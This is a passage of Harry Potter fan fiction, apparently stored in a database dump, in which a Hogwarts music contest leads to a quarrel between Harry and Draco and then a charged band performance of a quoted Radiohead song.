the first time. <br><br>&quot;Admit it,&quot; he smiled. \n&quot;All these years of hanging out with me and Harry -- you\'re a regular \nrule-breaker these days.&quot; <br><br>Hermione rolled her eyes. &quot;Oh honestly,&quot; she \nsaid. &quot;Professor McGonagall told me I could come back here. I couldn\'t sit and \nwatch you all from the Great Hall, I was too nervous.&quot; <br><br>Ron\'s face \ncracked into a grin. &quot;Feeling a bit out of sorts that you couldn\'t help us by \ngoing to the library?&quot; <br><br>Hermione turned bright pink with indigation. &quot;You \nmay not understand this, Ron Weasley,&quot; she began haughtily, &quot;but there\'s a thing \ncalled friendship -- &quot; <br><br>Ron\'s expression softened. &quot;I know, I know, I\'m \nsorry, Hermione,&quot; he said. He took a breath. &quot;I -- I\'ve been meaning to tell you \nsomething -- &quot; <br><br>But at that moment a voice issued from somewhere above \nthem, magnified as if by one of Ludo Bagman\'s &quot;Sonorus&quot; spells. Harry realized \nwith a start that it was coming from the mirror, and quickly found a seat \nbetween Ron and Hermione. <br><br>&quot;Good evening, students, faculty, and \ncontestants,&quot; said the voice, which Harry immediately recognized as \nDumbledore\'s. He looked into the mirror to see the headmaster standing in the \ncenter of the stage, his arms open in welcome. <br><br>&quot;Welcome to the Hogwarts \nYule Music Contest,&quot; he said. &quot;This is the first of what I hope will be many \nmusical events at Hogwarts for years to come. With the aid of Professor Trebble, \nwe have provided enchanted instruments for many of you and assembled a panel of \njudges for the event. In the spirit of fair play, we hope all contest entries \nwill be... appropriate.&quot; <br><br>Guffaws from the back of the room. Harry knew \nthe voices at once: Crabbe and Goyle. He turned and saw that Draco Malfoy was \nstanding with them near the back of the room, leaning lazily against a wall. \nDraco looked -- well, wicked, Harry thought, in every sense of the word. His \nbleached white hair, pale eyes, and pale skin stood out in stark contrast to his \nblack sleeveless t-shirt, black leather pants, and black combat boots. He had a \ngleaming black electric guitar slung casually over one shoulder which looked as \nif it might be worth the price of a small car. Harry, on the other hand, had \npulled on the only clothes he owned that were not filthy from Quidditch practice \n-- a pair of faded jeans, a blue long-sleeved t-shirt, and his striped Adidas. \nAnd his bass, of course, was proudly emblazoned with the words, &quot;Property of \nHogwarts Music Dept.&quot; Draco caught Harry\'s glance and shot him a simpering \nsmile. Harry glowered at him. <br><br>&quot;The contestants will be judged on musical \ntalent, creativity, technical merit, and in the case of a group of students, \ntheir... synchronicity.&quot; A small smile played around the corner of Dumbledore\'s \nmouth. &quot;One musical number per contest entry, please. And though you can see \nthat I have provided seats, there is no rule against audience members standing \nup to dance.&quot; <br><br>Laughter and cheers from the crowd. Dumbledore\'s eyes \ntwinkled. <br><br>&quot;And now,&quot; he said when the cheers had died down, &quot;I shall \nturn over the spotlight to Professor Trebble.&quot; <br><br>Harry watched as a slim, \nlong-nosed man with glasses and sandy hair took Dumbledore\'s place at the center \nof the stage as the crowd applauded. &quot;Without further ado, let\'s bring out our \nfirst contestants,&quot; Professor Trebble said in a high, melodic voice. &quot;From \nRavenclaw House... Bell, Book, and Candle.&quot; <br><br>Harry glimpsed the banner \nfar above the stage rewrite itself to read &quot;Bell, Book and Candle,&quot; in gold \nscript letters as three nervous-looking Ravenclaw sixth-years, two boys and a \ngirl, approached the stage toting folding chairs and acoustic guitars. The girl \nwas carrying what looked like a long blue-silver flute. The trio looked around \napprehensively, unfolded their chairs, and sat down. Harry recognized the \neffects of a Harmonius spell as a tiny golden glow swam between the three \ninstruments. The Ravenclaws glanced at each other and began to play. \n<br><br>Harry noticed immediately that their style of music was different from \nanything he\'d heard before. One of the boys was singing quietly, his voice thin \nand oddly accented, and the words of his song was even stranger: &quot;Make a new \ncult every day to suit your affairs... Kissing girls in English at the back of \nthe stairs...&quot; The group was swaying together, looking quite serious, their \nsound a mix of jangly acoustic guitars and carefully blended vocal harmonies. At \nthe song\'s bridge, the girl pulled out her flute and began to play; it sounded \nmore like a trumpet than a flute, an eerie, refined melody. &quot;Stars of track and \nfield are beau-ti-ful people...&quot; crooned the singer as the song drew to a close. \n<br><br>Harry glanced over at Ron and almost burst out laughing. Ron was staring \nat the mirror, eyebrows raised, forehead crinkled in a look of distate and pure \nbewilderment. As the band exited the stage, the contestants\' waiting room broke \ninto polite applause. <br><br>Hermione was smiling and clapping. &quot;Lovely,&quot; she \nwhispered to Ron and Harry. &quot;Did you hear the words? Very poetic. Reminds me of \na novel I read while on holiday in France -- &quot; <br><br>&quot;Hermione,&quot; Ron \nwhispered. &quot;That wasn\'t rock and roll. That was snivelling, set to music.&quot; \n<br><br>&quot;Well really,&quot; hissed Hermione. &quot;Did you expect every entry in this \ncontest to be a tuneless howling racket?&quot; <br><br>Harry bit his lip to keep from \nlaughing. He realized with a pang that he hadn\'t heard Ron and Hermione snipe at \neach other in far too long. <br><br>Ron\'s face was pink under his freckles. He \nopened his mouth to speak, but was interrupted by Professor Trebble\'s voice. \n<br><br>&quot;Thank you. Next, we have the... ah... Kneazles. From Hufflepuff.&quot; \n<br><br>The Kneazles turned out to be a group of five fresh-faced Hufflepuff \nsecond-years who played the opening notes of &quot;Eight Days a Week&quot; four times \nbefore finally managing to start the song. Their enthusiasm was so infectuous, \nhowever, that the hall cheered wildly when they finished, and Harry heard the \nshuffling of many people taking their seats again as if they\'d been dancing, \nprompting Neville and Ginny to exchange nervous looks. &quot;Pitiful,&quot; drawled Draco \nMalfoy over the applause in the waiting room. Harry tried not to turn around. He \nwas afraid of what he might do if he caught a glimpse of Malfoy\'s smug face. \n<br><br>Next came a painfully lovely Slytherin first-year girl, Victoria \nLangstrom, who seated herself on a folding chair with great authority, tossed \nback her glossy dark brown hair, and played the violin so expertly that Ron \nbegan to slump in his chair. <br><br>&quot;You can\'t dance to that, Ron,&quot; muttered \nHarry as Victoria rose and bowed to thunderous applause. &quot;This contest is for \nthe Yule Ball, not the London Philharmonic.&quot; <br><br>&quot;The Philhar-what?&quot; said \nRon. But before Harry could explain, Professor Trebble cleared his throat and \nannounced, &quot;The, ah... The next entry goes by the name of... Zonko.&quot; \n<br><br>&quot;Isn\'t that the name of the joke shop -- &quot; began Harry, but he was cut \nshort as Hermione and Ron each grabbed one of his arms. <br><br>&quot;Oh no,&quot; said \nHermione. <br><br>&quot;Uh-oh,&quot; said Ron. <br><br>Ginny was clutching Ron\'s other \narm, her eyes now tightly closed. &quot;No explosions,&quot; she whispered fervently. &quot;No \nexplosions, please no explosions...&quot; <br><br>&quot;Why didn\'t they tell me...&quot; Ron \nwas muttering. <br><br>Harry looked up, bewildered, and suddenly realized why \nGinny, Hermione, and Ron looked ready to crawl under their chairs. Fred and \nGeorge Weasley, who had somehow escaped attention in the waiting room, were \ntaking the stage with their best friend Lee Jordan. Harry didn\'t understand why \nhe hadn\'t spotted them earlier; all three of them were wearing the most \noutrageous outfits Harry had ever seen. <br><br>Fred and George had somehow \nenchanted their hair so that it was standing straight up as if they had stuck \ntheir fingers into one of the electric sockets Arthur Weasley kept in his \ngarage. Lee Jordan\'s dreadlocks were not their usual brown, but a garish shade \nof blue; he was wearing a bright green track suit and six-inch platform boots. \nGeorge was wearing red vinyl pants, a yellow and blue striped shirt with \nenormous lapels, and a purple bandana around his forehead. And Fred -- Harry \nrubbed his eyes. Fred Weasley was wearing a dress. A long, matronly, \nsilver-sequined dress, something that Harry\'s Aunt Petunia might wear to Uncle \nVernon\'s annual company Christmas party. With a jolt of fear Harry suddenly \nwondered whether Fred had gotten into Petunia\'s closet when he\'d come to pick up \nHarry this past summer at Privet Drive. <br><br>As Harry gaped at the waiting \nroom mirror, Fred and George strapped on school-issue electric guitars, and Lee \ntook his seat at a set of drums that had magically slid onto the stage as if on \ncasters. The members of Zonko grinned maniacally at the crowd as Ron, Hermione, \nand Ginny cringed lower and lower in their seats. <br><br>&quot;Good evening, ladies \nand gentleman, wizards and witches, and... Professor Snape,&quot; said Fred jovially. \n&quot;This is George Weasley on guitar, Lee Jordan on drums, and I\'m Fred Weasley. We \nare...&quot; He paused dramatically. &quot;ZONKO.&quot; <br><br>At Fred\'s words, the Great Hall \nwent completely dark. A huge blast of purple light exploded above his head, \nshowering sparks everywhere, just as the stage blazed into life with noise. \nFred, George, and Lee were thrashing around to the thunderous racket, Fred and \nGeorge leaping wildly into the air and windmilling their arms as they assailed \ntheir guitars. &quot;And we\'re stupid, and contagious! Here we are now, entertain \nus!&quot; hollered George. <br><br>&quot;<i>Smells Like Teen Spirit?</i>&quot; whispered \nHermione in disbelief. <br><br>This was too much for Ron. He began to laugh \nhysterically. Ginny, who had been staring dumbstruck at the mirror, blinked at \nRon in surprise. She looked back up at Fred, leaping about the stage in his \nsilver ballgown, his red hair standing on end, and gave a helpless giggle. \n<br><br>Her giggles were completely contagious. Soon Harry, Hermione, and \nNeville were doubled over. By the time &quot;Zonko&quot; ended their song with an \near-splitting screech and a riotous shower of fireworks, the entire waiting room \nwas roaring with laughter. Fred, George, and Lee left the stage to resounding \nhoots of applause and an icy glare from Professor Trebble, whose fingers were \njammed into his ears as he walked back onto the stage to announce the next \ncontestants. <br><br>&quot;I suppose if you\'ve got no talent, you\'ve got to go for \nlaughs,&quot; came a coldly derisive voice from the back of the room. <br><br>&quot;Shut \nit, Malfoy,&quot; said Harry and Ron together. <br><br>~ ~ ~ ~ ~ <br><br>The waiting \nroom was beginning to empty; Harry guessed that more than half of the \ncontestants had played by now. The hilarity caused by the Weasley twins was \nbeginning to die down, and Harry was getting increasingly nervous, thinking that \nany moment he might be called onto the stage. He was getting too nervous to \nenjoy most of the music, some of which had been surprisingly good, despite Draco \nMalfoy\'s constant stream of snide insults. Harry\'s bass was humming what was \nsupposed to be a soothing little melody in his head. It wasn\'t helping. Harry \nappreciated the sentiment, but the tune sounded like a funeral march, and it was \nsetting him a bit on edge. <br><br>Two tiny Gryffindor first-years had just \nfumbled their way through an earnest yet mistake-prone performance when Harry \nheard Draco\'s voice drift over the crowd for the upteenth time that evening. \n&quot;Poor little gits, wouldn\'t know a tune if it bit them on their fat Mudblood \narses,&quot; he began. <br><br>And suddenly, that was the last straw. <br><br>Harry \nfelt as though someone had punched him in the stomach. All the nervous \nirritation he\'d been feeling exploded into a blinding rage. He couldn\'t help it. \nHe shot out of his chair and faced Draco, nerves jangling, blood pounding in his \ntemples. <br><br>&quot;What\'s that you said, Malfoy?&quot; he said, trying to keep his \nvoice steady. Draco was still leaning against the wall, watching the giant \nmirror; a slow smile spread across his face when he saw the reaction he\'d \nprovoked in Harry. He\'d clearly been hoping for this response all evening. \n<br><br>&quot;Defending your ickle housemates, Potty Wee Potter?&quot; Draco leered. &quot;How \nsweet. Don\'t waste your breath, though, I\'m sure you\'ll need it to foul up your \nown performance.&quot; <br><br>Harry felt Hermione place a hand on his arm to \nrestrain him. &quot;Ignore him,&quot; she hummed in the familiar lilt that Harry had come \nto know as her Don\'t-Be-Stupid-It\'s-Only-Malfoy voice. <br><br>But Harry \ncouldn\'t ignore him. Weeks of anxiety and pent-up confusion were boiling into a \nfurious storm that was making his head feel as if it were about to explode. His \nwand was already in his hand; he had no memory of reaching for it. <br><br>&quot;Take \nit back, Malfoy,&quot; Harry said through gritted teeth. Another band had just \nstarted playing onstage, but no one was watching the mirror now. All eyes in the \nwaiting room were on Harry and Draco. <br><br>Ron was getting to his feet, \nclearly surprised at the level of Harry\'s anger, but glaring at Malfoy \nnonetheless. <br><br>&quot;You heard what he said, Malfoy,&quot; Ron said. <br><br>&quot;Aren\'t \nyou Gryffindors cute,&quot; said Draco silkily. &quot;So brave and loyal. So honest and \ntrue to each other. Well...&quot; He paused dramatically, clearly enjoying himself, \nand turned to Ron. &quot;I\'d bet I could tell you a few things about your supposed \ntrue-blue friends here, Weasley, that you don\'t know. Some things they\'ve been \nhiding from you.&quot; <br><br>Harry\'s stomach gave an odd twist. What was Malfoy \ntalking about? Could he possibly know -- <br><br>But no one knew. Not Ron, not \nSirius, not Hagrid. That was impossible. <br><br>&quot;Harry,&quot; hissed Hermione, \ntugging on his arm again. &quot;Leave it alone.&quot; There was a note of urgency in her \nvoice. Harry wondered if she was thinking the same thing he was. He squeezed her \nhand distractedly. <br><br>&quot;Not interested,&quot; said Ron airily. &quot;Whatever you have \nto say about my friends would be a lie. Why would I listen to you?&quot; <br><br>&quot;Oh, \nI think,&quot; drawled Draco, &quot;that you\'ll be most interested to hear what I have to \nsay. Especially since you\'ve been too busy with your little leech of a \ngirlfriend to have caught on to anything, anyway.&quot; <br><br>&quot;What would you know \nabout friends, Malfoy?&quot; Harry interrupted. His voice sounded strange in his own \nears, icy cold, bitter with fury. &quot;You\'ve never had any. Just two dim toadies \nwho are too sod-all stupid to realize what a wretched self-serving git you are.&quot; \n<br><br>Crabbe and Goyle blinked vacantly until a violent nudge from Malfoy told \neach of them that Harry had just insulted them. They began to glower at Harry \nlike two angry gorillas. Malfoy\'s eyes were narrowed into slits. <br><br>&quot;I \nwouldn\'t be calling anyone self-serving if I were you, Potter,&quot; he hissed. &quot;You \nwere just waiting for Weasley here to get out of the picture so you could play \nyour stupid shagging games with Granger. You know she\'s the only girl at this \nschool desperate enough to let you have your way with her.&quot; <br><br>Ron\'s eyes \nwere wide. &quot;What?&quot; he sputtered. <br><br>Harry could barely see. His eyes seemed \nto be covered with a red film of rage. His hands were clenched into fists. He \nraised his wand slowly to the level of Malfoy\'s pale eyes. <br><br>&quot;Not another \nword,&quot; he whispered. &quot;Not another word, you fucking bastard.&quot; <br><br>&quot;Is this \ntrue?&quot; said Ron incredulously, wheeling to face Harry and Hermione, who was \nstill seated, clutching Harry\'s hand, her face completely drained of color. \n<br><br>Hermione didn\'t speak. She sat, frozen, staring up at Harry. \n<br><br>Harry couldn\'t look at Ron. It felt like the bottom had just dropped out \nof his stomach. Draco Malfoy had just blurted out what Harry hadn\'t been able to \nsay to Ron, to Sirius, to anyone. He\'d linked Harry with Hermione. Draco Malfoy \nhad said it. In his vulgar, disgusting, distorted way, Draco had said it first. \n<br><br>This wasn\'t how it was supposed to happen. <br><br>&quot;Thought they were \nyour friends, did you, Weasley?&quot; Draco drawled. &quot;Think again. Don\'t you think \nyour very bestest friends would have told you something like this? Well, go \nahead. Ask them if you don\'t believe me.&quot; <br><br>Harry\'s wand was still pointed \nat Draco. Draco, eyes fixed on the wand, had slipped his hand into his pocket to \ndraw his own. <br><br>&quot;Is this true?&quot; Ron repeated, a note of desperation in his \nvoice. &quot;He\'s putting us on, right, Harry? You and Hermione -- you\'d have told me \n-- &quot; <br><br>Harry didn\'t speak. He couldn\'t lie about Hermione. Not to Ron. \n<br><br>Ron took a step backwards, looking from Harry to Hermione. His face was \nslack with disbelief at their silence. <br><br>Draco began to chuckle. &quot;It was \nquite charming, really,&quot; he said. &quot;That morning on the Quidditch pitch -- &quot; \n<br><br>Something inside Harry snapped. <br><br>&quot;Furnunculus!&quot; he shouted. A jet \nof green light shot from the end of his wand. <br><br>But Draco was ready. \n<br><br>&quot;Densetrium!&quot; he barked. <br><br><br><br>* * * * * <br><br><i>Thanks, \nreviewers of Chapter 5!</i><br>Hailey, Emily Rose, LaurenSkye, HarryNZ, Kamali, \nCarla, Cheddar, Erin, Kendra, Christine Evans, Ksenia, Avaka, Sylph, Stina, \nSteph, Venus, Jade, Korine, FreakyHPGurl, Beez81, QueenQueso, little*, Alexa, \nLady Attolia, Sir Eric, Water-Lily, glitter-bug, Fogxlove, Headgirl, wuwu108, \nAurora, and hermioneharry4ever :) <br><br><i>Songs quoted in this chapter \ninclude:</i><br>&quot;Black Star,&quot; Radiohead<br>&quot;Stars of Track and Field,&quot; Belle and \nSebastian<br>&quot;Eight Days a Week,&quot; The Beatles<br>&quot;Smells Like Teen Spirit,&quot; \nNirvana <br><br>= the chapter has now ended = <br><br>Review! \n\n'),
	(71, 7, '\n\n\n<b>Disclaimer:</b> This story is based on characters and situations \ncreated and owned by JK Rowling, various publishers including but not limited to \nBloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. \nNo money is being made and no copyright or trademark infringement is intended. \n<br><br><b>Author\'s Note:</b><br>For various reasons, this chapter took a very, \nvery long time. I didn\'t mean to imitate JKR with my lack of punctuality... in \nany event, this chapter is a big one for Harry, and that was part of the reason \nit took so long. The fic\'s been pretty light and fluffy so far, but a bit of \nevil had to crash the party, or it just wouldn\'t be Harry\'s life otherwise. I \nhope you\'ll find that the turmoil is worth it. And don\'t worry, there is more \nfluff on the horizon, even if it doesn\'t appear in this chapter. Thanks to \neveryone who has been so patient, and to all those who kept asking me when the \nchapter was coming. ;) I probably wouldn\'t have finished it without you. \n<br><br>* * * * * <br><br><i>inspiration, move me brightly<br>light the song \nwith sense and color, hold away despair<br>more than this i will not \nask<br>faced with mysteries dark and vast</i> <br><br>-- &quot;Terrapin Station,&quot; The \nGrateful Dead <br><br><br><br><b>Blush : Chapter Seven</b> <br><br>There were so \nmany wonderful ways to vanish in the wizarding world. <br><br>One could, for \nexample, hide under an invisibility cloak. Or disApparate. Or possibly vanish in \na puff of smoke -- apparently a delightful party trick, although slightly \nimpractical for wizards with hay fever. <br><br>Unfortunately, none of these \nthings seemed likely to happen to Harry at the moment. <br><br>Harry felt every \npair of eyes in the room swivel to fix on him. He took a long, steadying breath \nand tried to stop his hands from shaking. He felt a dull pain in his right hand \nand realized that he was gripping his wand so tightly that his fingernails were \ncutting into his palm. <br><br>Draco was glaring at Harry like a basilisk, but \nHarry could handle that. It was Ron and Hermione that Harry couldn\'t bear to \nface. And Ginny. And Neville. Harry took another breath and turned around. \n<br><br>Ron was white beneath his freckles, his lips set in an angry line, his \neyes burning with hurt. <br><br>&quot;Ron,&quot; Harry began, his voice oddly croaky and \ndry. &quot;I tried to tell you -- &quot; <br><br>&quot;Later,&quot; said Ron hoarsely. &quot;Can we talk \nabout this later?&quot; <br><br>Harry felt Hermione sit down beside him. He heard her \nbreathe in sharply, as if she was muffling a sob. <br><br>&quot;Out of the way, \nplease!&quot; <br><br>Madam Pomfrey was bustling into the room, several stretchers \nhovering just behind her, her arms filled with bandages. &quot;Clear the area,&quot; she \ncommanded. &quot;I\'ll be taking students up to the hospital wing.&quot; <br><br>&quot;Come on, \nHarry.&quot; <br><br>Someone was tugging at Harry\'s elbow. Harry turned, surprise \nfiltering through his numb thoughts when he saw that it was Ginny. Her face was \ncalm and resolute, framed by a light halo of dust that had settled in her bright \nhair. Ginny didn\'t speak, just took him by the arm and led him into a corner. \nRon came next. Harry stared after Ginny in disbelief as she left Ron by Harry\'s \nside and started towards Malfoy. Ron\'s jaw fell open. <br><br>&quot;She can\'t be \nserious -- &quot; he muttered. <br><br>Harry didn\'t watch Ginny\'s next move, however. \nHe was scanning the crowd for Hermione; at last he saw her, face hidden beneath \na curtain of brown curls as she bent over Neville. A lump the size of a dragon \negg settled in his throat. <br><br>&quot;Brave Little Miss Weasley. You\'re joking, \naren\'t you?&quot; <br><br>Draco Malfoy\'s unmistakable drawl cut through Harry\'s \nthoughts. He was striding towards Harry and Ron, Ginny by his side, wearing an \nexpression of mixed fury and revulsion. And something else, Harry thought, \nwatching as Draco\'s eyes flicked vaguely towards Ginny\'s. <br><br>&quot;Haven\'t \npissed on us enough, then, Malfoy? Back for more?&quot; Ron said. <br><br>Draco \nraised a slender, pierced eyebrow. &quot;How could anyone be so stupid as to think \nthis was my idea? Wait -- <i>you\'re</i> quite capable of being that stupid --&quot; \n<br><br>&quot;Quiet, both of you,&quot; said Ginny, her voice steely and cool. Malfoy\'s \neyes widened, but surprisingly, he fell silent at the look on Ginny\'s face. She \nlooked gravely at the three of them and crossed her arms. <br><br>&quot;It just so \nhappens that thanks to Snape, we are bound to perform in this contest by a \nwizarding contract. I\'m going out there, even if your idiotic fighting means I \nhave to play with <i>him</i>.&quot; Ginny inclined her head in Draco\'s direction, who \nremained strangely quiet. &quot;Now, are any of you going out there with me, or do I \nhave to fulfill our contract alone?&quot; <br><br>Harry might have found the looks on \nRon and Malfoy\'s faces comical had he not been so monumentally distracted. He \nhad to go out there; none of this was Ginny\'s fault, and it was the very least \nhe could do -- <br><br>He managed to find his voice, which sounded rough and \nshaken. &quot;I\'ll do it, Gin.&quot; <br><br>&quot;Good lad.&quot; A faint murmur of approval \nrippled through his thoughts; Harry had almost forgotten about his bass in all \nthe uproar, which was still slung heavily over one shoulder. <br><br>&quot;\'Course \nI\'m with you, Gin.&quot; Ron\'s ears were red, but his voice was subdued. \n<br><br>Malfoy gave a pained sigh. &quot;No Malfoy breaks a wizard contract. Not even \nto avoid trash like you three.&quot; <br><br>As if on cue, Professor Trebble\'s voice \nissued from the giant mirror once more. &quot;We, ah, apologize for the delay... \nWe\'ll have our next entry in a moment.&quot; <br><br>Ginny ignored Malfoy. &quot;What are \nwe playing, then? Quick.&quot; <br><br>&quot;Well, I\'m certainly not singing some little \nditty written by a geezer old enough to be my grandfather,&quot; Draco drawled. &quot;I\'ve \nheard you lot practicing.&quot; <br><br>&quot;Fine,&quot; Ron spat. &quot;Got any better ideas?&quot; \n<br><br>&quot;How about one for Hero Boy here?&quot; Malfoy batted his eyelashes at Harry, \ncrooning into an imaginary microphone. &quot;I\'m only a man in a funny red sheet... \nlookin\' for special things inside of me...&quot; <br><br>&quot;Be serious, please.&quot; Ginny \nwas glaring daggers at Malfoy. <br><br>Draco leered back at her. &quot;Ah, but of \ncourse, Miss Weasley. You\'d rather I sing \'Fresh Pickled Toad?\'&quot; <br><br>&quot;It \nlooks as if we have a slight change to our schedule,&quot; came Professor Trebble\'s \nvoice again. &quot;Professor Snape has informed me that \'The Marauders\' and \'Salazar\' \nhave been merged into a single entry. Not, ah, physically, don\'t worry -- &quot; \n<br><br>&quot;Pick something, all right?&quot; Ron was turning red again. <br><br>Draco \nrolled his pale eyes. &quot;Fine. Don\'t suppose you know \'The Bends.\'&quot; \n<br><br>&quot;Muggle song, eh, Malfoy?&quot; Ron scoffed. &quot;I know it. Harry?&quot; \n<br><br>Harry knew it. He even liked the song, though he would rather have \nprofessed his undying love to Crabbe and Goyle than admit it to Malfoy. &quot;Yeah, I \nknow it.&quot; <br><br>&quot;Fine then, that\'ll do,&quot; said Ginny quickly, taking her \ndrumsticks from her pocket. &quot;Malfoy, I assume you know the <i>Harmonius</i> -- &quot; \n<br><br>Ginny\'s inquiry was cut short as Trebble\'s voice issued from the mirror \nonce more. <br><br>&quot;And now, ladies and gentlemen, with no further ado -- The \nMarauders!&quot; <br><br>Uproar from the Great Hall. <br><br>~ ~ ~ ~ ~ <br><br>Harry \nfelt himself walk forward, following Ron\'s red head through the waiting room. He \nemerged from the stage door, blinking in the brilliant golden light illuminating \nthe Great Hall, and caught a glimpse of the sea of upturned faces in the \naudience. This certainly couldn\'t be happening. Any moment now, Hermione would \nnudge him awake and tell him he\'d slept through History of Magic again. \n<br><br>At the sight of Harry the audience hooted with cheers. Harry took a long \nbreath, shifted his bass into position and watched Ginny climb into her seat at \nthe drums. A Sonorous microphone was standing in the middle of the stage, Harry \nassumed by Malfoy\'s request. <br><br>There was a pause, and then Draco Malfoy \nsauntered from the stage door. He strode to center stage, slung his own gleaming \nblack guitar across his chest, and grasped the microphone. <br><br>&quot;That\'s \n<i>Salazar</i> and the Marauders,&quot; he winked, sneering at the Great Hall. \n<br><br>Pandemonium. <br><br>&quot;I\'ll kill him,&quot; muttered Ron. <br><br>&quot;Let\'s just \nget this over with, okay, Weasel?&quot; Malfoy hissed under his breath. He had turned \nto face the three of them and was taking his wand from his pocket. &quot;You think \nit\'s a lark for me to be seen with three Gryffindor clowns in front of the \nentire school?&quot; <br><br>&quot;Enough.&quot; Ginny\'s wand was out as well. Harry and Ron \nfumbled for theirs, and all four of them growled a resentful &quot;Harmonius&quot; as the \ncrowd continued to murmur in apprehension. Golden light shot from instrument to \ninstrument. Draco ran a hand through his cropped hair. <br><br>&quot;And to think,&quot; \nhe drawled quietly. &quot;This is all because Potter was too embarrassed to tell the \nWeasel that he was shagging the ugliest hag at Hogwarts.&quot; <br><br>Harry wouldn\'t \nhave thought it possible to feel a fresh wave of fury for Malfoy so soon, but he \nwas wrong. His brain presented him with a delightful slideshow of Malfoy being \ntoasted to a crisp by a Hungarian Horntail who bore an uncanny resemblance to \nHarry. If dragons could wear glasses, that is. Harry lunged towards Malfoy, but \nMalfoy shot him a leer and turned again to face the crowd. <br><br>&quot;Right,&quot; \nDraco sighed lazily into the microphone. &quot;I\'m just doing this because they\'ve \npaid me. One, two, three, four -- &quot; <br><br>The noise that roared from their \ninstruments shook the Great Hall like an explosion. Harry was so furious he \ncould hardly see. Through the effects of the Harmonius charm he could sense \nequal fury emanating from Ron, Ginny, and Malfoy, which only added to his own. \nIt was complete cacophony, like a thousand Mandrakes having a shouting match. \nFor a few seconds Harry felt like his head was about to split in two with pain. \nThey couldn\'t continue like this. <br><br>But then Ron sounded a chord that \nHarry recognized. He\'s not going to let Malfoy get to him, Harry thought. He\'s \ngot it. That\'s the only way to win. <br><br>Fine idea, said the dry voice in his \nhead. You know what to do. <br><br>Find my place. Right. <br><br>It was like \ntrying to relax while being strangled by Devil\'s Snare. Harry felt himself \nfalling backwards through the noise, groping for familiar sounds, finding Ron, \nthen Ginny, then... Draco. A great booming note startled him into awareness and \nhe realized it was him, he\'d found it, he was in place in this hideous mess. \n<br><br>Suddenly the tremendous noise was transformed. A phenomenal yell by \nDraco Malfoy split the air and the four of them thundered into the opening \nchords of the song. Ginny\'s cymbals cut the noise and Draco began to sing. \n<br><br><i>Where do we go from here?<br>The words are comin\' out all \nweird<br>Where are you now, when I need you<br>Alone on an aeroplane<br>Fallen \nasleep against the windowpane<br>My blood will thicken</i> <br><br>He was \nincredible. <br><br>Harry couldn\'t believe it. As much as his entire soul was \nconsumed with burning hatred for Draco Malfoy at this moment, Harry knew that \nMalfoy was singing like no one he\'d ever heard. Malfoy was bitterly angry, \nbiting off every word with a snarl, his eyes glittering, his voice hard and \nrough and clear all at once. Harry could only stare in stunned amazement. \n<br><br>And then Ron let loose at the end of the verse. <br><br>Harry had been \nastounded the first time he\'d heard Ron play, but it was nothing compared to how \nRon was playing now. It was above and beyond anything Harry could imagine, and \nit was all he could do to follow the music as Ron blazed into a feverish solo \nand roared out a blistering scale. <i>Take that, Malfoy.</i> Harry began to \nsmile in spite of himself. <br><br>They pounded into the second verse and -- \n<br><br>No one was singing. Harry looked up, alarmed. <br><br>Malfoy looked \nawestruck. He was staring at Ron as though Ron had just descended from another \nplanet and announced his intentions to run for Minister of Magic. <br><br>Ron \ngave Malfoy a questioning glare and played another bar. Draco blinked, a smile \ncurling the corner of his mouth, and began to sing again. <br><br>And now -- \nsomething was changing. Ron had seen Malfoy smile; as he turned back towards \nHarry, his own face was cracking into a smile. Something else was seeping \nthrough their fury; some other force was bubbling up through the Harmonious \ncharm. <br><br><i>I need to wash myself again to hide all the dirt and \npain<br>\'Cause I\'d be scared that there\'s nothing underneath<br>But who are my \nreal friends?<br>Have they all got the bends?<br>Am I really sinking this \nlow?</i> <br><br>They sounded fantastic. <br><br>A wild flourish from Ginny and \nHarry felt his own awareness dissolve. He was no longer Harry, who played \nQuidditch, and got bad marks in Potions, and sometimes had a terrible temper. He \nwas Harry-Ron-Ginny-Draco, and he was still burning with anger, but he was also \nfiercely happy, and he just couldn\'t believe this was possible, and neither \ncould Ron-Ginny-Draco, for that matter. <br><br><i>My baby\'s got the bends, oh \nno<br>We don\'t have any real friends, no, no, no</i> <br><br>Draco was strutting \naround the stage now, half-whispering into the microphone, his guitar abandoned \nand slung over his back, a delicious grin playing across his face. \n<br><br><i>Just lying in the bar with my drip feed on<br>Talking to my \ngirlfriend, waiting for something to happen<br>I wish it was the sixties, I wish \nI could be happy<br>I wish, I wish, I wish that something would happen</i> \n<br><br>Another blistering noise from Ron -- <br><br><i>Where do we go from \nhere?<br>The planet is a gunboat in a sea of fear<br>And where are you?<br>They \nbrought in the CIA, the tanks and the whole marines<br>To blow me away, to blow \nme sky high</i> <br><br>By the time they hit the next chorus, Ron was grinning \nlike crazy. Harry took a step back to see Ginny, red hair flying, beaming with \nan expression he\'d never seen on her face before. She was staring at Malfoy, \ndrumsticks whirling. Malfoy turned to stare back at her as he sang the next \nverse, and briefly the world shrank to Ginny and Draco, her drums, his voice, \npounding through the music. <br><br><i>Just lying in the bar with my drip feed \non<br>Talking to my girlfriend, waiting for something to happen<br>I wish it was \nthe sixties, I wish I could be happy</i> <br><br>And then they all crashed back \ninto the song. and they were building, soaring upwards, building towards \nsomething -- <br><br><i>I wish, I wish, I wish that something would -- \n</i><br><br>With a yell, Draco lept into the air as Ron flew into an \nearth-shattering solo. Suddenly Harry realized that he, Ron, and Draco were \nleaping around the stage like madmen. He couldn\'t help it. <br><br><i>I wanna \nlive, breathe<br>I wanna be part of the human race</i> <br><br>And then Ginny \nwas pulling them out of the chaos with a flourish of cymbals, Draco coming to \nrest on his knees in the center of the stage, Ron turning to watch Malfoy as \nthey played the final chords. <br><br><i>Where do we go from here?<br>The words \nare coming out all weird<br>Where are you now... when I need you?</i> \n<br><br>And then it was over. <br><br>~ ~ ~ ~ ~ <br><br>Professor Severus Snape \ndid not consider himself to be a man easily surprised. <br><br>He was quite \npleased with himself, in fact, as he strode from the contest waiting room, \nhaving just doled out a punishment to his least favorite student that would \ncertainly result in an outrageous amount of public humiliation in front of the \nentire school. <br><br>The Malfoy boy had been involved as well, but no matter. \nHe\'d extend his apologies to Malfoy after tomorrow\'s detention. And it wasn\'t as \nif Draco was an innocent soul. He was, after all, a Slytherin. There were \ncertain standards. <br><br>After explaining matters to poor blathering Trebble, \nSnape quickly made his way to the back of the Great Hall and settled into a dark \ncorner to watch the mayhem unfold. He strongly doubted that all remaining band \nmembers would perform, and each possible combination would result in an \nembarrassing outcome. The two Weasleys? A feeble effort at best. Based on his \nexperiences with the youngest Weasley, he predicted little Virginia would most \nlikely turn red and run from the room. She did that often during Potions. \n<br><br>Potter and 